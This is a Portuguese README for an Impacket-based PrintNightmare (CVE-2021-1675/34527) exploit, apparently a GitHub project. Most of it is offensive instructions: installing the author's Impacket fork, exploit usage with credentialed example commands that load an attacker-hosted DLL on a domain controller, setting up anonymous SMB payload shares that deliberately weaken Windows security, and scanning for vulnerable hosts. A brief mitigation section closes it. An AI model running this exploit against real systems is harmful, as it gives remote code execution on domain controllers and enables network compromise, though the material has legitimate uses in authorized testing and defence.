CVE-2021-1675 / CVE-2021-34527

Implementação do Impacket do PoC PrintNightmare originalmente criado por Zhiniang Peng (@edwardzpeng) & Xuefeng Li (@lxf02942370)

Testado em um Domain Controller 2019 totalmente atualizado.

Execute DLLs maliciosas remotamente ou localmente

Atualização de patch

A Microsoft lançou um patch para mitigar esses ataques, mas se esses valores abaixo estiverem presentes em uma máquina, ela ainda estará vulnerável.

REG QUERY "HKLM\Software\Policies\Microsoft\Windows NT\Printers\PointAndPrint"

HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\Printers\PointAndPrint
    RestrictDriverInstallationToAdministrators    REG_DWORD    0x0
    NoWarningNoElevationOnInstall    REG_DWORD    0x1

Instalação

Antes de executar o exploit, você precisa instalar minha versão do Impacket e depois disso você está tranquilo.

pip3 uninstall impacket
git clone https://github.com/cube0x0/impacket
cd impacket
python3 ./setup.py install

CVE-2021-1675.py

usage: CVE-2021-1675.py [-h] [-hashes LMHASH:NTHASH] [-target-ip ip address] [-port [destination port]] target share

CVE-2021-1675 implementation.

positional arguments:
  target                [[domain/]username[:password]@]<targetName or address>
  share                 Path to DLL. Example '\\10.10.10.10\share\evil.dll'

optional arguments:
  -h, --help            show this help message and exit

authentication:
  -hashes LMHASH:NTHASH
                        NTLM hashes, format is LMHASH:NTHASH

connection:
  -target-ip ip address
                        IP Address of the target machine. If omitted it will use whatever was specified as target. This is useful when target is the NetBIOS name
                        and you cannot resolve it
  -port [destination port]
                        Destination port to connect to SMB Server

Example;
./CVE-2021-1675.py hackit.local/domain_user:[email protected] '\\192.168.1.215\smb\addCube.dll'
./CVE-2021-1675.py hackit.local/domain_user:[email protected] 'C:\addCube.dll'

Configuração SMB

A maneira mais fácil de hospedar payloads é usar o samba e modificar /etc/samba/smb.conf para permitir acesso anônimo.

[global]
    map to guest = Bad User
    server role = standalone server
    usershare allow guests = yes
    idmap config * : backend = tdb
    smb ports = 445

[smb]
    comment = Samba
    path = /tmp/
    guest ok = yes
    read only = no
    browsable = yes
    force user = smbuser

Do Windows também é possível.

mkdir C:\share
icacls C:\share\ /T /grant Anonymous` logon:r
icacls C:\share\ /T /grant Everyone:r
New-SmbShare -Path C:\share -Name share -ReadAccess 'ANONYMOUS LOGON','Everyone'
REG ADD "HKLM\System\CurrentControlSet\Services\LanManServer\Parameters" /v NullSessionPipes /t REG_MULTI_SZ /d srvsvc /f #This will overwrite existing NullSessionPipes
REG ADD "HKLM\System\CurrentControlSet\Services\LanManServer\Parameters" /v NullSessionShares /t REG_MULTI_SZ /d share /f
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v EveryoneIncludesAnonymous /t REG_DWORD /d 1 /f
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v RestrictAnonymous /t REG_DWORD /d 0 /f
# Reboot

Escaneamento

Podemos usar o rpcdump.py do impacket para escanear possíveis hosts vulneráveis; se ele retornar um valor, pode estar vulnerável.

rpcdump.py @192.168.1.10 | egrep 'MS-RPRN|MS-PAR'

Protocol: [MS-PAR]: Print System Asynchronous Remote Protocol 
Protocol: [MS-RPRN]: Print System Remote Protocol

Mitigação

Desative o serviço Spooler.

Stop-Service Spooler
REG ADD  "HKLM\SYSTEM\CurrentControlSet\Services\Spooler"  /v "Start" /t REG_DWORD /d "4" /f

Mais Populares

PrintNightmare-CVE-2021-1675-CVE-2021-34527